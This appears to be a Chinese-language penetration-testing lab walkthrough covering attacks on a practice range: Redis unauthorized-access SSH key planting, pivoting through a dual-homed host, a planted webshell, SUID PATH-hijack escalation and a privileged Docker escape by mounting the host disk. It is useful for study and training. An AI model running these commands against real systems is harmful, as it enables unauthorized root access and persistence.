渗透世界

环境搭建

image-20260709144833344

ubuntu1关闭防火墙并且开启redis服务

iptables -F

1
redis-server /etc/redis.conf

image-20260709145608941

拿到root权限,并启动nginx权限

1
/usr/sbin/nginx -c /etc/nginx/nginx.conf

ubuntu2

通过docker ps -a去执行

1
2
3
sudo su
sudo docker start 8e172820ac78
docker ps -a

image-20260709161853333

pc1

关闭防火墙

image-20260709162305320

Administrator 密码 Whoami2021

image-20260709162528605

1

image-20260709182121142

开放Redis 192.168.111.1:6379

​ Redis 192.168.111.128:6379 发现未授权访问

image-20260709182335495

192.168.111.1的config get dir显示是windows

image-20260709182500216

image-20260709182708117

同时端口开放22 所以可以Redis 写 SSH 公钥

1
ssh-keygen -t rsa -b 2048 -f /root/.ssh/redis_key -N ""

image-20260709183007625

/root/.ssh/redis_key 私钥,自己留着
/root/.ssh/redis_key.pub 公钥,要写到目标

写入公钥

1
(echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > key.txt

前后加空行是为了让 SSH 更容易识别到中间那一行公钥

把公钥内容写进 Redis 的一个 key:

1
cat key.txt | redis-cli -h 192.168.111.128 -x set xxx

image-20260709183148318

进入 Redis:

1
redis-cli -h 192.168.111.128
1
2
3
4
config set dir /root/.ssh/   将写的目录设置在/root/.ssh/下
config set dbfilename authorized_keys 生成一个authorized_keys
save 保存 他会把你变量值也保存在authorized_keys
exit 退出

image-20260709183237646

尝试登陆

1
2
3
4
chmod 600 /root/.ssh/redis_key
ssh -i /root/.ssh/redis_key root@192.168.111.128
密码123456

image-20260709183327075

基础信息收集

1
2
3
4
5
6
ip a
ip route
ss -tulpen
ps aux
cat /etc/passwd
ls -la /

这里会发现这台主机有双网卡 由此判断该机器不仅位于外层 192.168.111.0/24,还连接了内网 192.168.52.0/24,可以作为进入 52 网段的跳板。

1
2
ens33: 192.168.111.128/24
ens38: 192.168.52.10/24
1
2
ip neigh
arp -a

查看arp缓存和邻居表

可以看到内网的主机

探测52整个网段可以发现还有台30

两台主机均可达,其中 192.168.52.20 的 TTL 为 64,判断为 Linux 主机;192.168.52.30 的 TTL 为 128,判断为 Windows 主机。

image-20260714150801639

image-20260710183434681

扫描一下端口

1
2
3
4
5
6
192.168.52.20:22 open
192.168.52.20:8000 open
192.168.52.30:135 open
192.168.52.30:139 open
192.168.52.30:445 open
192.168.52.30:8080 open

image-20260714154035318

image-20260714150424786

提权

开个隧道

image-20260714180434472

1
ssh -L 8088:192.168.52.30:8080 root@192.168.111.128

打开

image-20260714180509891

然后这里卡了好久 靶场本身应该有个预留的后门文件 我的一直没有

干脆进容器给自己写了个后门进去 然后yijian连接

image-20260714191202708

image-20260714192041721

然后这个是一个比较低权限的

而且这个进来之后会发现他就是一个docker容器 ipa啥的都没有

image-20260714192417503

所以要考虑尝试docker逃逸

docker逃逸

如何判断当前机器是否为docker容器

1 .dockerenv

是 Docker 容器根目录下经常出现的一个标记文件。很多 Docker 运行时会在容器根文件系统里放这个文件,所以:

1
ls -la /.dockerenv

如果存在,基本可以认为“当前进程处在 Docker 容器里”。

2 /proc/1/cgroup

描述某个进程所属的 cgroup

容器运行时通常会把容器进程放入单独 cgroup,例如历史上常见:

1
2
12:memory:/docker/<container_id> 
1:name=systemd:/docker/<container_id>

很多检测脚本会做

1
2
cat /proc/1/cgroup
cat /proc/self/cgroup

然后匹配

1
2
3
4
5
docker
kubepods
containerd
libpod
lxc

3 container 环境变量

某些容器系统会设置环境变量

1
2
env | grep -i container
tr '\0' '\n' < /proc/1/environ | grep -i container
1
2
3
container=lxc
container=podman
container=systemd-nspawn

原理

正常 Docker 容器和宿主机是隔离的,主要靠:

1
namespace cgroup capabilities seccomp/apparmor 文件系统隔离

但如果容器以 –privileged 方式启动,隔离会大幅削弱。容器内 root 可能拥有很多宿主机级别能力,比如:

1
2
3
CAP_SYS_ADMIN
访问 /dev/sda1 等宿主机磁盘设备
执行 mount

这样就可以在容器里把宿主机磁盘挂载进来:

1
mount /dev/sda1 /teach

一旦挂载成功,容器里访问 /teach,其实就是访问宿主机的 / 文件系统。

我们前面看开放端口 80/81 都是 Web 端口

多个 Web 端口同时存在时,第一反应就是要看 Web 服务怎么分流,比如

1
2
3
4
5
80 是什么站?
81 是什么站?
是不是同一个服务?
是不是反向代理?
是不是转发到后端?

80返回的是502

说明前端nginx没问题 但是他代理的后端服务挂掉了

所以看到 502,就应该想到:

1
这里可能有 Nginx/反向代理 要看 proxy_pass 配置

81 是 Laravel,但机器本身又是边界机

Web1 有双网卡:

1
192.168.111.128 192.168.52.10

这说明它可能不是单纯 Web 服务器,而是 DMZ 边界转发机。
边界机上跑 Nginx 反代到内网 Web

查看nginx

image-20260715114731576

yijian连接不太稳定 这里进行反弹shell

image-20260715142856132

查找能提权的命令或者文件

1
find / -perm -u=s -type f 2>/dev/null

image-20260715145939573

这个文件很明显不对劲

image-20260715150037324

执行这个shell文件

image-20260715150125463

/home/jobs/shell 是一个 Linux 64 位可执行程序
带 setuid 权限

且shell 程序内部执行了一个ps

依赖环境变量 PATH 去找 ps 命令

所以可以利用 PATH 劫持

1
让它执行 ps 时,不执行系统的 /bin/ps 而是执行我们伪造的 /tmp/ps

image-20260715151420413

成功提权

1
2
3
4
5
6
7
8
cd /tmp
echo "/bin/bash -p" > ps
chmod +x ps
export PATH=/tmp:$PATH
which ps
cd /home/jobs
./shell
id

注意到现在这个界面看着没有交互了

1
python -c 'import pty; pty.spawn("/bin/bash")'

这是个美化命令

查看容器有没有特权模式

image-20260715154050473

CapEff: 0000003fffffffff 是当前进程的 Effective Capability 位图

意味着该容器以类似 --privileged 或大量 --cap-add 的方式启动

下面验证容器是否能直接看到宿主机的块设备。

正常的低权限容器通常只能看到自己的文件系统视图,不应该直接访问宿主机的 /dev/sda/dev/vda/dev/nvme0n1 等物理或虚拟磁盘。若 fdisk -l 能列出这些设备及其真实分区,就说明容器可能被授予了宿主机设备访问权限,隔离程度较弱。

1
fdisk -l

image-20260715154422187

既然是特权模式,我们现在就可以直接通过挂载访问目标主机的磁盘文件了

1
2
mkdir /teach 
mount /dev/sda1 /teach

在 web1 上生成 SSH 密钥

因为最终是从 web1 连接目标主机,所以私钥必须保留在 web1:

1
ssh-keygen -t ed25519 -f /root/teach_key -N ''

/root/teach_key 私钥,只保留在 web1
/root/teach_key.pub 公钥,要写入目标主机

1
cat /root/teach_key.pub

复制输出的完整一行,通常以 ssh-ed25519 开头

1
2
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINTmqwPMuw+43xIKVqcPgtinpIVj1SJ8H37Kn+8/yegK root@ubuntu

image-20260715173404023

1
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINTmqwPMuw+43xIKVqcPgtinpIVj1SJ8H37Kn+8/yegK root@ubuntu

在特权容器中,将公钥写入宿主机 root 账户

宿主机磁盘挂载在 /teach,所以宿主机 root 的授权文件对应:

1
/teach/root/.ssh/authorized_keys

先备份并创建目录:

1
2
3
4
5
6
7
8
mkdir -p /teach/root/.ssh
cp -a /teach/root/.ssh/authorized_keys \
/teach/root/.ssh/authorized_keys.bak 2>/dev/null || true

chmod 700 /teach/root/.ssh
touch /teach/root/.ssh/authorized_keys
chmod 600 /teach/root/.ssh/authorized_keys
chown -R 0:0 /teach/root/.ssh

然后将刚才 web1 上显示的公钥完整一行追加进去:

1
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINTmqwPMuw+43xIKVqcPgtinpIVj1SJ8H37Kn+8/yegK' >> /teach/root/.ssh/authorized_keys

在容器里查看宿主机 SSH 配置:

1
2
3
grep -RniE '^(PermitRootLogin|PubkeyAuthentication|AuthorizedKeysFile)' \
/teach/etc/ssh/sshd_config \
/teach/etc/ssh/sshd_config.d 2>/dev/null

image-20260715173940300

可以使用密钥登录

设置所有者:

1
2
chown -R 0:0 /teach/root/.ssh
sync

回到 web1,用私钥连接宿主机

1
2
chmod 600 /root/teach
ssh -i /root/teach -o IdentitiesOnly=yes root@192.168.111.128